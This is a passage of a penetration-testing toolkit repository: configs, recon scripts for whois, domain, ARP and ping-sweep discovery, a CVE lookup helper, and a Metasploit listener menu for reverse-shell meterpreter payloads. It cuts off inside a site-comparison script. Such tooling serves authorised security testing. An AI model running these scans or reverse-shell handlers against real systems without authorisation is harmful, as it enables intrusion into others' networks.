├── .gitignore ├── LICENSE.txt ├── README.md ├── api-scanner.sh ├── cloud-scanner.sh ├── config ├── install.sh ├── tmux.conf ├── vimrc ├── win10.choco └── zshrc ├── container-scanner.sh ├── cve.sh ├── directObjectRef.sh ├── discover.sh ├── domain.sh ├── generateTargets.sh ├── listener.sh ├── misc ├── compare-sites.sh ├── crack-wifi.sh ├── crawl.sh ├── deploy │ ├── ansible │ │ └── redirector-c2.yml │ ├── main.tf │ └── outputs.tf ├── dns-forward.sh ├── dns-reverse.sh ├── dns-transfer.sh ├── enum-linux.sh ├── netblocks.sh ├── netblocks.txt ├── ping-sweep.sh ├── rebrand.sh ├── recon-ng.sh ├── subdomains-from-ssl.sh └── wtf.sh ├── msf-aux.sh ├── multiTabs.sh ├── newModules.sh ├── nikto.sh ├── notes ├── Cobalt-Strike.txt ├── PowerShell │ ├── Empire.txt │ ├── PS-Attack.txt │ ├── PowerView.txt │ └── basic.txt ├── Python │ ├── ex1.py │ ├── fuzzer-pop3.py │ ├── notes.txt │ ├── scrape.py │ └── test.py ├── active-directory.txt ├── bash.txt ├── buffer-overflows.txt ├── cidr.txt ├── consulting.txt ├── databases.txt ├── dns.txt ├── egress.txt ├── empire.txt ├── exploits.txt ├── forensics.txt ├── git.txt ├── insecure-protocols.txt ├── kali.txt ├── ldap-owa.txt ├── linux.txt ├── maltego.txt ├── metasploit.txt ├── mobile.txt ├── nexpose.txt ├── nmap-fire.txt ├── open-redirect.txt ├── osx.txt ├── passwords.txt ├── pwk.txt ├── shodan.txt ├── smtp.txt ├── snmp.txt ├── ssl-setup.txt ├── ssl.txt ├── terraform.txt ├── ubuntu.txt ├── web-apps.txt └── windows.txt ├── nse.sh ├── oauth-jwt-scanner.sh ├── openredirect-scanner.py ├── openredirect.sh ├── parse.sh ├── parsers ├── parse-burp.py ├── parse-nessus-feed.py ├── parse-nessus.py ├── parse-nexpose.py ├── parse-nipper.py ├── parse-nmap.py ├── parse-qualys.py └── utfdictcsv.py ├── passive.sh ├── payload.sh ├── person.sh ├── report.sh ├── report ├── assets │ ├── css │ │ ├── bootstrap.min.css │ │ └── styles.css │ ├── fonts │ │ ├── FontAwesome.otf │ │ ├── fontawesome-webfont.eot │ │ ├── fontawesome-webfont.svg │ │ ├── fontawesome-webfont.ttf │ │ ├── fontawesome-webfont.woff │ │ ├── ironvue-icons.eot │ │ ├── ironvue-icons.svg │ │ ├── ironvue-icons.ttf │ │ ├── ironvue-icons.woff │ │ └── ironvue-icons.woff2 │ ├── images │ │ ├── banner.svg │ │ ├── icons │ │ │ ├── fail.png │ │ │ ├── info.png │ │ │ ├── pass.png │ │ │ └── warn.png │ │ └── logo.png │ └── javascript │ │ ├── bootstrap.min.js │ │ ├── jquery.min.js │ │ └── less.min.js ├── data │ ├── doc.htm │ ├── emails.htm │ ├── hosts.htm │ ├── names.htm │ ├── passive-recon.htm │ ├── pdf.htm │ ├── ppt.htm │ ├── records.htm │ ├── registered-domains.htm │ ├── squatting.htm │ ├── subdomains.htm │ ├── summary.htm │ ├── txt.htm │ ├── whois-domain.htm │ ├── whois-ip.htm │ └── xls.htm ├── index.htm └── pages │ ├── config.htm │ ├── doc.htm │ ├── emails.htm │ ├── hosts.htm │ ├── maps.htm │ ├── names.htm │ ├── passive-recon.htm │ ├── pdf.htm │ ├── ppt.htm │ ├── records.htm │ ├── registered-domains.htm │ ├── squatting.htm │ ├── subdomains.htm │ ├── summary.htm │ ├── txt.htm │ ├── whois-domain.htm │ ├── whois-ip.htm │ └── xls.htm ├── resource ├── 1099-rmi.rc ├── 110-pop3.rc ├── 111-rpc.rc ├── 1158-oracle.rc ├── 123-udp-ntp.rc ├── 13364-rosewill.rc ├── 135-dcerpc.rc ├── 137-udp-netbios.rc ├── 1414-ibm-mq.rc ├── 143-imap.rc ├── 1433-mssql.rc ├── 1521-oracle.rc ├── 1604-udp-citrix.rc ├── 161-udp-snmp.rc ├── 17185-udp-vxworks.rc ├── 1720-h323.rc ├── 19-chargen.rc ├── 1900-udp-upnp.rc ├── 20256-unitronics.rc ├── 2049-nfs.rc ├── 21-ftp.rc ├── 22-ssh.rc ├── 23-telnet.rc ├── 2362-udp-scada.rc ├── 25-smtp.rc ├── 28784-scada.rc ├── 3000-emc.rc ├── 3050-borland.rc ├── 30718-telnet.rc ├── 3306-mysql.rc ├── 3310-clamav.rc ├── 3389-rdp.rc ├── 3500-emc.rc ├── 37777-dahua-dvr.rc ├── 407-udp-motorola.rc ├── 443-vmware.rc ├── 445-smb.rc ├── 465-smtp.rc ├── 46824-scada.rc ├── 4786-cisco-smart-install.rc ├── 4800-udp-moxa.rc ├── 5000-satel.rc ├── 50000-db2.rc ├── 502-scada.rc ├── 5040-dcerpc.rc ├── 5060-sip.rc ├── 5060-udp-sip.rc ├── 512-rexec.rc ├── 513-rlogin.rc ├── 514-rshell.rc ├── 523-udp-db2.rc ├── 5432-postgres.rc ├── 548-afp.rc ├── 5560-oracle.rc ├── 5631-pcanywhere.rc ├── 5632-pcanywhere.rc ├── 5900-vnc.rc ├── 5920-cctv.rc ├── 5984-couchdb.rc ├── 5985-winrm.rc ├── 6000-5-x11.rc ├── 623-udp-ipmi.rc ├── 6379-redis.rc ├── 69-tftp.rc ├── 771-scada.rc ├── 7777-backdoor.rc ├── 79-finger.rc ├── 8000-canon.rc ├── 8080-oracle.rc ├── 8080-tomcat.rc ├── 8222-vmware.rc ├── 831-easycafe.rc ├── 8400-adobe.rc ├── 8834-nessus.rc ├── 9000-sharp.rc ├── 902-vmware.rc ├── 9084-vmware.rc ├── 9100-printers.rc ├── 998-zenworks.rc ├── 9999-telnet.rc ├── http.rc ├── java.rc ├── listener.rc ├── post-linux.rc ├── post-osx.rc ├── post-windows.rc ├── recon-ng-cleanup.rc ├── recon-ng-import-emails.rc ├── recon-ng-import-ips.rc ├── recon-ng-import-names.rc └── recon-ng.rc ├── sensitive-scanner.sh ├── ssl.sh ├── update.sh ├── waf-detect.sh └── web-api-scanner.sh /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/* 2 | __pycache__/ -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2007-2025 Lee Baird 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /config/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cp tmux.conf "$HOME"/.tmux.conf 4 | cp vimrc "$HOME"/.vimrc 5 | 6 | if grep -iq "kali" /etc/os-release; then 7 | cat zshrc >> "$HOME"/.zshrc 8 | source "$HOME"/.zshrc 2>/dev/null 9 | else 10 | cp zshrc "$HOME"/.bash_aliases 11 | source "$HOME"/.bash_aliases 12 | fi 13 | -------------------------------------------------------------------------------- /config/tmux.conf: -------------------------------------------------------------------------------- 1 | # change the prefix from 'C-b' to 'C-a' 2 | # (remap capslock to CTRL for easy access) 3 | unbind C-b 4 | set -g prefix C-a 5 | bind C-a send-prefix 6 | 7 | # start with window 1 (instead of 0) 8 | set -g base-index 1 9 | 10 | # start with pane 1 11 | set -g pane-base-index 1 12 | 13 | # split panes using | and -, make sure they open in the same path 14 | bind | split-window -h -c "#{pane_current_path}" 15 | bind - split-window -v -c "#{pane_current_path}" 16 | 17 | unbind '"' 18 | unbind % 19 | 20 | # open new windows in the current path 21 | bind c new-window -c "#{pane_current_path}" 22 | 23 | # reload config file 24 | bind r source-file ~/.tmux.conf 25 | 26 | unbind p 27 | bind p previous-window 28 | 29 | # shorten command delay 30 | set -sg escape-time 1 31 | 32 | # don't rename windows automatically 33 | set -g allow-rename off 34 | 35 | # mouse control (clickable windows, panes, resizable panes) 36 | set -g mouse on 37 | 38 | # Use Alt-arrow keys without prefix key to switch panes 39 | bind -n M-Left select-pane -L 40 | bind -n M-Right select-pane -R 41 | bind -n M-Up select-pane -U 42 | bind -n M-Down select-pane -D 43 | 44 | # enable vi mode keys 45 | set-window-option -g mode-keys vi 46 | 47 | # set default terminal mode to 256 colors 48 | set -g default-terminal "xterm-256color" 49 | set -ga terminal-overrides ",xterm-256color:Tc" 50 | 51 | # present a menu of URLs to open from the visible pane. sweet. 52 | bind u capture-pane \;\ 53 | save-buffer /tmp/tmux-buffer \;\ 54 | split-window -l 10 "urlview /tmp/tmux-buffer" 55 | 56 | 57 | ###################### 58 | ### DESIGN CHANGES ### 59 | ###################### 60 | 61 | # loud or quiet? 62 | set -g visual-activity off 63 | set -g visual-bell off 64 | set -g visual-silence off 65 | setw -g monitor-activity off 66 | set -g bell-action none 67 | 68 | # modes 69 | setw -g clock-mode-colour colour1 70 | setw -g mode-style 'fg=colour0 bg=colour1 bold' 71 | 72 | # panes 73 | set -g pane-border-style 'fg=colour1' 74 | set -g pane-active-border-style 'fg=colour3' 75 | 76 | # statusbar 77 | set -g status-position bottom 78 | set -g status-justify left 79 | set -g status-style 'fg=colour1' 80 | set -g status-left '' 81 | set -g status-right '%Y-%m-%d %H:%M ' 82 | set -g status-right-length 50 83 | set -g status-left-length 10 84 | 85 | setw -g window-status-current-style 'fg=colour0 bg=colour1 bold' 86 | setw -g window-status-current-format ' #I #W #F ' 87 | 88 | setw -g window-status-style 'fg=colour1 dim' 89 | setw -g window-status-format ' #I #[fg=colour7]#W #[fg=colour1]#F ' 90 | 91 | setw -g window-status-bell-style 'fg=colour2 bg=colour1 bold' 92 | 93 | # messages 94 | set -g message-style 'fg=colour2 bg=colour0 bold' 95 | -------------------------------------------------------------------------------- /config/vimrc: -------------------------------------------------------------------------------- 1 | 2 | set number " Show line numbers 3 | syntax on " Syntax highlighting 4 | 5 | set ignorecase " Search is case-insensitive 6 | set hlsearch " Highlight search matches 7 | set incsearch " Highlight first matches of searches while typing 8 | 9 | set expandtab " Insert spaces instead of tabs 10 | set shiftwidth=5 " Tab = 5 spaces 11 | set softtabstop=5 " Tab = 5 spaces 12 | set backspace=indent,eol,start " Modern backspace behavior 13 | 14 | -------------------------------------------------------------------------------- /config/zshrc: -------------------------------------------------------------------------------- 1 | 2 | # ----------------------------------------------------------------------------------------------- 3 | 4 | DNS=$(ip r | grep dhcp | awk '{print $3}') 5 | EXTIP=$(curl -s http://ifconfig.me) 6 | INTERFACE=$(ip a | grep BROADCAST | awk '{print $2}' | cut -d ":" -f1) 7 | MYIP=$(hostname -I | awk '{print $1}') 8 | MAC=$(ip a | grep ether | awk '{print $2}') 9 | 10 | alias bh='neo4j console & ; sleep 6 ; bloodhound' 11 | alias c='clear' 12 | alias cl='clear ; ls -lh --color=auto' 13 | alias cla='clear ; ls -lah --color=auto' 14 | alias d='cd $HOME/Desktop/ ; clear' 15 | alias date='date +"%a %b %d, %Y - %r %Z"' 16 | alias e='exit' 17 | alias k='cd /home/kali/' 18 | alias kd='cd /home/kali/Desktop/' 19 | alias l='ls -lh' 20 | alias la='ls -lah' 21 | alias lc='ls -1 | wc -l' 22 | alias m='sudo service postgresql start ; sudo msfdb init ; msfconsole' 23 | alias n='echo; date ; echo ; 24 | echo -n "External IP: "$EXTIP ; echo ; 25 | echo -n "Internal IP: "$MYIP ; echo ; 26 | echo -n "MAC address: "$MAC ; echo ; 27 | echo -n "DNS: "$DNS ; echo ; 28 | echo -n "Interfaace: "$INTERFACE ; echo ; 29 | echo ; netstat -antp; echo ; 30 | ping -c3 8.8.8.8' 31 | alias r='cd $HOME ; clear' 32 | alias s='cd ~/discover/ ; clear' 33 | alias smb='impacket-smbserver share . -smb2support' 34 | alias sip='sort -n -u -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4' 35 | alias ssh='ssh -o "XAuthLocation=/opt/X11/bin/xauth"' 36 | alias update='sudo ~/discover/update.sh' 37 | alias upload='cd $HOME/Desktop/ ; raven $MYIP 3000 --upload-dir $HOME/Desktop/' 38 | alias web='echo $MYIP ; python3 -m http.server 80' 39 | alias web2='echo $MYIP ; python3 -m http.server 8000' 40 | 41 | export GOPATH=/opt/go 42 | export GOROOT=/usr/lib/go 43 | export PATH=$PATH:/usr/lib/go/bin:/opt/go/bin 44 | -------------------------------------------------------------------------------- /cve.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # by Lee Baird (@discoverscripts) 4 | 5 | # Check if Firefox is running 6 | if pgrep firefox > /dev/null; then 7 | echo 8 | echo "[!] Close Firefox before running script." 9 | echo 10 | exit 1 11 | fi 12 | 13 | echo 14 | echo 15 | echo "Search for info on a CVE." 16 | echo 17 | echo -n "CVE: " 18 | read -r CVE 19 | echo 20 | 21 | # Check for a valid CVE 22 | if [[ ! $CVE =~ ^CVE-[0-9]{4}-[0-9]{4,6}$ ]]; then 23 | echo 24 | echo "[!] Invalid format." 25 | echo 26 | exit 1 27 | fi 28 | 29 | urls=( 30 | "https://nvd.nist.gov/vuln/detail/$CVE" 31 | "https://www.cvedetails.com/cve/$CVE" 32 | "https://vulners.com/search?query=$CVE" 33 | "https://www.tenable.com/cve/$CVE" 34 | "https://cve.mitre.org/cgi-bin/cvename.cgi?name=$CVE" 35 | "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=$CVE" 36 | "https://www.google.com/search?q=%22$CVE%22+AND+exploit" 37 | "https://www.rapid7.com/db/?q=$CVE&type=nexpose" 38 | ) 39 | 40 | # Open each URL in a new tab 41 | for url in "${urls[@]}"; do 42 | xdg-open "$url" & 43 | sleep 2 44 | done 45 | -------------------------------------------------------------------------------- /directObjectRef.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # by Lee Baird (@discoverscripts) 4 | 5 | clear 6 | f_banner 7 | 8 | echo -e "${BLUE}Using Burp, authenticate to a site, map & Spider, then log out.${NC}" 9 | echo -e "${BLUE}Target > Site map > select the URL > right click > Copy URLs in${NC}" 10 | echo -e "${BLUE}this host. Paste the results into a new file.${NC}" 11 | 12 | echo 13 | echo -n "Enter the location of your file: " 14 | read -r LOCATION 15 | 16 | # Check for no answer 17 | if [ -z "$LOCATION" ]; then 18 | f_error 19 | fi 20 | 21 | # Check for wrong answer 22 | if [ ! -f "$LOCATION" ]; then 23 | f_error 24 | fi 25 | 26 | ############################################################################################################################### 27 | 28 | while read -r i; do 29 | curl -sk -w "%{http_code} - %{url_effective} \\n" "$i" -o /dev/null 2>&1 | tee -a tmp 30 | done < "$LOCATION" 31 | 32 | cat tmp | sort -u > DirectObjectRef.txt 33 | mv DirectObjectRef.txt "$HOME"/data/DirectObjectRef.txt 34 | rm tmp 35 | 36 | echo 37 | echo "$MEDIUM" 38 | echo 39 | echo "[*] Scan complete." 40 | echo 41 | echo -e "The new report is located at ${YELLOW}$HOME/data/DirectObjectRef.txt${NC}" 42 | -------------------------------------------------------------------------------- /domain.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # by Lee Baird (@discoverscripts) 4 | 5 | clear 6 | f_banner 7 | 8 | echo -e "${BLUE}RECON${NC}" 9 | echo 10 | echo "1. Passive" 11 | echo "2. Find registered domains" 12 | echo "3. Previous menu" 13 | echo 14 | echo -n "Choice: " 15 | read -r CHOICE 16 | 17 | case "$CHOICE" in 18 | 1) "$DISCOVER"/passive.sh && exit ;; 19 | 2) 20 | clear 21 | f_banner 22 | 23 | echo -e "${BLUE}Find registered domains.${NC}" 24 | echo 25 | echo "Open a browser to https://www.reversewhois.io/" 26 | echo "Enter your domain and solve the captcha." 27 | echo "Select all > copy all of the text and paste into a new file." 28 | 29 | f_location 30 | echo 31 | grep '^[0-9]' "$LOCATION" | awk '{print $2}' | sort -u > tmp 32 | TOTAL=$(wc -l tmp | sed -e 's/^[ \t]*//' | cut -d ' ' -f1) 33 | 34 | while read -r REGDOMAIN; do 35 | IPADDR=$(dig +short "$REGDOMAIN" | grep -Eiv '(0.0.0.0|127.0.0.1|127.0.0.6)' | sed '/[a-z]/d') 36 | whois -H "$REGDOMAIN" | grep -Eiv '(#|please query|personal data|redacted|whois|you agree)' | sed '/^$/d' > tmp2 37 | wait 38 | 39 | REGEMAIL=$(grep 'Registrant Email:' tmp2 | cut -d ' ' -f3 | tr '[:upper:]' '[:lower:]') 40 | 41 | if [[ "$REGEMAIL" == *'abuse'* || "$REGEMAIL" == *'anonymize.com'* || "$REGEMAIL" == *'buydomains.com'* || "$REGEMAIL" == *'cloudflareregistrar.com'* || "$REGEMAIL" == *'contact-form'* || "$REGEMAIL" == *'contact.gandi.net'* || "$REGEMAIL" == *'csl-registrar.com'* || "$REGEMAIL" == *'domaindiscreet.com'* || "$REGEMAIL" == *'dynadot.com'* || "$REGEMAIL" == *'email'* || "$REGEMAIL" == *'gname.com'* || "$REGEMAIL" == *'google.com'* || "$REGEMAIL" == *'identity-protect.org'* || "$REGEMAIL" == *'meshdigital.com'* || "$REGEMAIL" == *'mydomainprovider.com'* || "$REGEMAIL" == *'myprivatename.com'* || "$REGEMAIL" == *'networksolutionsprivateregistration'* || "$REGEMAIL" == *'please'* || "$REGEMAIL" == *'p.o-w-o.info'* || "$REGEMAIL" == *'privacy'* || "$REGEMAIL" == *'Redacted'* || "$REGEMAIL" == *'redacted'* || "$REGEMAIL" == *'select'* || "$REGEMAIL" == *'tieredaccess.com'* ]]; then 42 | REGEMAIL='' 43 | fi 44 | 45 | REGORG=$(grep 'Registrant Organization:' tmp2 | cut -d ':' -f2 | cut -d ' ' -f2- | sed 's/ //g; s/administration/Administration/g; s/Anonymize, Inc/Anonymize Inc/g; s/By /by /g; s/, Corp/ Corp/g; s/Data Protected//g; s/family/Family/g; s/Identity Protect Limited//g; s/Identity Protection Service//g; s/, Inc. / Inc/g; s/, Inc/ Inc/g; s/, Inc /Inc/g; s/Inc./Inc/g; s/INFORMATION SYSTEMS AND MANAGEMENT CONSLANTS/Information Systems and Management Consultants/g; s/INSTITUTE/Institute/g; s/, LLC/ LLC/g; s/MEMORIAL/Memorial/g; s/, N.A./ N.A./g; s/N\/A//g; s/Not Disclosed//g; s/None//g; s/NULL//g; s/ (NYHQ)//g; s/Redacted for privacy//g; s/S.L./SL/g; s/Statutory Masking Enabled//g; s/UNIVERSITY/University/g; s/(US) //g; s/WEST VIRGINIA/West Virginia/g') 46 | 47 | if [[ "$REGORG" == *'Privacy'* || "$REGORG" == *'PRIVACY'* ]]; then 48 | REGORG='' 49 | fi 50 | 51 | REGISTRAR=$(grep 'Registrar:' tmp2 | cut -d ' ' -f2- | sed 's/Co.,/Co./g; s/Corp.,/Corp/g; s/Hongkong/Hong Kong/g; s/Identity Protection Service//g; s/Gransy,/Gransy/g; s/, Inc/ Inc/g; s/Inc./Inc/g; s/IncUSA/Inc/g; s/KEY-SYSTEMS/Key-Systems/g; s/Limited,/Ltd /g; s/, LLC/ LLC/g; s/Ltd./Ltd/g; s/, Ltd/ Ltd/g; s/MARKMONITOR/MarkMonitor/g; s/MarkMonitor./MarkMonitor /g; s/Registrar://g; s/REGISTRAR OF DOMAIN NAMES//g; s/s.l./SL/g; s/, S.L./SL/g; s/technologies/Technologies/g; s/technology/Technology/g; s/^[ \t]*//' | head -n1) 52 | 53 | if [[ "$REGISTRAR" == 'Domains' ]]; then 54 | REGISTRAR='' 55 | fi 56 | 57 | echo "$REGDOMAIN,$IPADDR,$REGEMAIL,$REGORG,$REGISTRAR" | grep -v ',,,,' >> tmp3 58 | ((NUMBER+1)) 59 | echo -ne "$NUMBER of $TOTAL domains"\\r 60 | sleep 2 61 | done < tmp 62 | 63 | echo "Domain,IP Address,Registration Email,Registration Org,Registrar" > tmp4 64 | cat tmp4 tmp3 | grep -Ev '^\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' | column -t -s ',' | sed 's/[ \t]*$//' > "$HOME"/data/registered-domains 65 | rm tmp* 66 | 67 | echo 68 | echo "$MEDIUM" 69 | echo 70 | echo "[*] Scan complete." 71 | echo 72 | echo -e "The report is located at ${YELLOW}$HOME/data/registered-domains${NC}" 73 | echo 74 | exit 75 | ;; 76 | 3) f_main ;; 77 | *) echo; echo -e "${RED}[!] Invalid choice or entry, try again.${NC}"; echo; sleep 2; "$DISCOVER"/domain.sh ;; 78 | esac 79 | -------------------------------------------------------------------------------- /generateTargets.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # by Lee Baird (@discoverscripts) 4 | 5 | f_targets(){ 6 | clear 7 | f_banner 8 | 9 | echo -e "${BLUE}SCANNING${NC}" 10 | echo 11 | echo "1. ARP scan" 12 | echo "2. Ping sweep" 13 | echo "3. Previous menu" 14 | echo 15 | echo -n "Choice: " 16 | read -r CHOICE 17 | 18 | case "$CHOICE" in 19 | 1) f_arpscan ;; 20 | 2) f_pingsweep ;; 21 | 3) f_main ;; 22 | *) echo; echo -e "${RED}[!] Invalid choice or entry, try again.${NC}"; echo; sleep 2; "$DISCOVER"/generateTargets.sh ;; 23 | esac 24 | } 25 | 26 | ############################################################################################################################### 27 | 28 | f_arpscan(){ 29 | echo 30 | echo "[*] Scanning" 31 | 32 | sudo arp-scan --localnet | grep -Eiv '(interface|arp-scan|packets)' > tmp 33 | sed '/^$/d' tmp | grep -v "$MYIP" | sort -t ' ' -k 1,1 -V > "$HOME"/data/arp-scan.txt 34 | awk '{print $1}' tmp | grep -v "$MYIP" | $SIP | sed '/^$/d' > "$HOME"/data/arp-scan-targets.txt 35 | rm tmp 36 | 37 | echo 38 | echo "$MEDIUM" 39 | echo 40 | echo "[*] Scan complete." 41 | echo 42 | echo -e "The new report is located at ${YELLOW}$HOME/data/arp-scan.txt${NC}" 43 | echo 44 | exit 45 | } 46 | 47 | ############################################################################################################################### 48 | 49 | f_pingsweep(){ 50 | echo 51 | echo -e "${BLUE}Type of input:${NC}" 52 | echo 53 | echo "1. List containing IPs, ranges, and/or CIDRs." 54 | echo "2. Manual" 55 | echo 56 | echo -n "Choice: " 57 | read -r CHOICE 58 | 59 | case "$CHOICE" in 60 | 1) 61 | f_location 62 | 63 | echo 64 | echo "[*] Scanning" 65 | nmap -sn -PS -PE --stats-every 10s -iL "$LOCATION" > tmp 66 | ;; 67 | 2) 68 | echo 69 | echo -n "Enter a CIDR: " 70 | read -r CIDR 71 | 72 | # Check for no answer 73 | if [ -z "$CIDR" ]; then 74 | f_error 75 | fi 76 | 77 | # Check for a valid CIDR 78 | if [[ ! "$CIDR" =~ ^([0-9]{1,3}\.){3}[0-9]{1,3}\/[0-9]+$ ]]; then 79 | f_error 80 | fi 81 | 82 | echo 83 | echo "[*] Scanning" 84 | nmap -sn -PS -PE --stats-every 10s "$CIDR" > tmp 85 | ;; 86 | *) 87 | echo; echo -e "${RED}[!] Invalid choice or entry, try again.${NC}"; echo; sleep 2; "$DISCOVER"/generateTargets.sh ;; 88 | esac 89 | 90 | grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' tmp | grep -v "$MYIP" | $SIP > "$HOME"/data/pingsweep.txt 91 | rm tmp 92 | 93 | echo 94 | echo "$MEDIUM" 95 | echo 96 | echo "[*] Scan complete." 97 | echo 98 | echo -e "The new report is located at ${YELLOW}$HOME/data/pingsweep.txt${NC}" 99 | echo 100 | exit 101 | } 102 | 103 | ############################################################################################################################### 104 | 105 | while true; do f_targets; done 106 | -------------------------------------------------------------------------------- /listener.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # by Lee Baird (@discoverscripts) 4 | 5 | clear 6 | f_banner 7 | 8 | echo -e "${BLUE}Metasploit Listeners${NC}" 9 | echo 10 | echo "1. android/meterpreter/reverse_tcp" 11 | echo "2. cmd/windows/reverse_powershell" 12 | echo "3. java/jsp_shell_reverse_tcp" 13 | echo "4. linux/x64/meterpreter_reverse_https" 14 | echo "5. linux/x64/meterpreter_reverse_tcp" 15 | echo "6. linux/x64/shell/reverse_tcp" 16 | echo "7. osx/x64/meterpreter_reverse_https" 17 | echo "8. osx/x64/meterpreter_reverse_tcp" 18 | echo "9. php/meterpreter/reverse_tcp" 19 | echo "10. python/meterpreter_reverse_https" 20 | echo "11. python/meterpreter_reverse_tcp" 21 | echo "12. windows/x64/meterpreter_reverse_https" 22 | echo "13. windows/x64/meterpreter_reverse_tcp" 23 | echo "14. Previous menu" 24 | echo 25 | echo -n "Choice: " 26 | read -r CHOICE 27 | 28 | case "$CHOICE" in 29 | 1) PAYLOAD="android/meterpreter/reverse_tcp" ;; 30 | 2) PAYLOAD="cmd/windows/reverse_powershell" ;; 31 | 3) PAYLOAD="java/jsp_shell_reverse_tcp" ;; 32 | 4) PAYLOAD="linux/x64/meterpreter_reverse_https" ;; 33 | 5) PAYLOAD="linux/x64/meterpreter_reverse_tcp" ;; 34 | 6) PAYLOAD="linux/x64/shell/reverse_tcp" ;; 35 | 7) PAYLOAD="osx/x64/meterpreter_reverse_https" ;; 36 | 8) PAYLOAD="osx/x64/meterpreter_reverse_tcp" ;; 37 | 9) PAYLOAD="php/meterpreter/reverse_tcp" ;; 38 | 10) PAYLOAD="python/meterpreter_reverse_https" ;; 39 | 11) PAYLOAD="python/meterpreter_reverse_tcp" ;; 40 | 12) PAYLOAD="windows/x64/meterpreter_reverse_https" ;; 41 | 13) PAYLOAD="windows/x64/meterpreter_reverse_tcp" ;; 42 | 14) f_main ;; 43 | *) echo; echo -e "${RED}[!] Invalid choice or entry, try again.${NC}"; echo; sleep 2; "$DISCOVER"/listener.sh ;; 44 | esac 45 | 46 | echo 47 | echo -n "LHOST: " 48 | read -r LHOST 49 | 50 | # Check for no answer 51 | if [ -z "$LHOST" ]; then 52 | LHOST="$MYIP" 53 | echo "[*] Using $MYIP" 54 | echo 55 | fi 56 | 57 | echo -n "LPORT: " 58 | read -r LPORT 59 | 60 | # Check for no answer 61 | if [ -z "$LPORT" ]; then 62 | LPORT=443 63 | echo "[*] Using 443" 64 | fi 65 | 66 | # Check for valid port number. 67 | if [[ "$LPORT" -lt 1 || "$LPORT" -gt 65535 ]]; then 68 | f_error 69 | fi 70 | 71 | # Check for root when binding to a low port 72 | if [[ "$LPORT" -lt 1025 && "$(id -u)" != "0" ]]; then 73 | echo 74 | echo "[!] You must be root to bind to a port below 1025." 75 | echo 76 | exit 1 77 | fi 78 | 79 | cp "$DISCOVER"/resource/listener.rc /tmp/ 80 | 81 | sed -i "s|aaa|$PAYLOAD|g" /tmp/listener.rc 82 | sed -i "s/bbb/$LHOST/g" /tmp/listener.rc 83 | sed -i "s/ccc/$LPORT/g" /tmp/listener.rc 84 | 85 | echo 86 | msfconsole -q -r /tmp/listener.rc 87 | -------------------------------------------------------------------------------- /misc/compare-sites.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # by Lee Baird (@discoverscripts) 4 | 5 | DIR=$HOME/compare-sites 6 | DIFFONLY=false 7 | MEDIUM='==================================================================' 8 | 9 | BLUE='\033[1;34m' 10 | RED='\033[1;31m' 11 | YELLOW='\033[1;33m' 12 | NC='\033[0m' 13 | 14 | echo 15 | echo -e "${YELLOW}Compare Changes to Home Pages\n\nBy Lee Baird\n${NC}" 16 | 17 | # If no arguments, print usage 18 | if [ $# -eq 0 ]; then 19 | echo 20 | echo "Where file contains a list of URLs to be compared." 21 | echo "Usage: $0 [options] file" 22 | echo 23 | echo "Options:" 24 | echo " -c Compare versions without downloading new ones." 25 | echo " -o Output directory. Default: ~/compare-sites" 26 | echo 27 | exit 1 28 | fi 29 | 30 | # Assign FILE and FILEHASH after confirming FILE is set 31 | FILE="$1" 32 | FILEHASH=$(sha256sum "$FILE" | awk '{print $1}') 33 | HDIR="$DIR/$FILEHASH" 34 | VERSION=1 35 | 36 | ts2date(){ 37 | date -d "1970-01-01 $1 sec" 38 | } 39 | 40 | while getopts "o:c" OPTION; do 41 | case $OPTION in 42 | o) DIR="$OPTARG" ;; 43 | c) DIFFONLY=true ;; 44 | *) usage && exit ;; 45 | esac 46 | done 47 | 48 | shift $((OPTIND - 1)) 49 | 50 | if [ ! -f "$FILE" ]; then 51 | echo 52 | echo "$MEDIUM" 53 | echo 54 | echo -e "${RED}[!] Invalid choice or entry.${NC}" 55 | echo 56 | exit 1 57 | fi 58 | 59 | # Ensure the main directory and hash directory exist 60 | if [ ! -d "$DIR" ]; then 61 | mkdir -p "$DIR" 62 | fi 63 | 64 | if [ ! -d "$HDIR" ]; then 65 | mkdir -p "$HDIR" 66 | fi 67 | 68 | while [ -f "$HDIR/$VERSION" ]; do 69 | VERSION=$((VERSION + 1)) 70 | done 71 | 72 | if ! "$DIFFONLY"; then 73 | date +%s > "$HDIR/$VERSION" 74 | echo 75 | echo 76 | echo "Downloading:" 77 | 78 | while IFS= read -r URL; do 79 | HASH=$(echo -n "$URL" | sha256sum | tr -d " -") 80 | echo "[*] $URL" 81 | if ! wget -q "$URL" -O 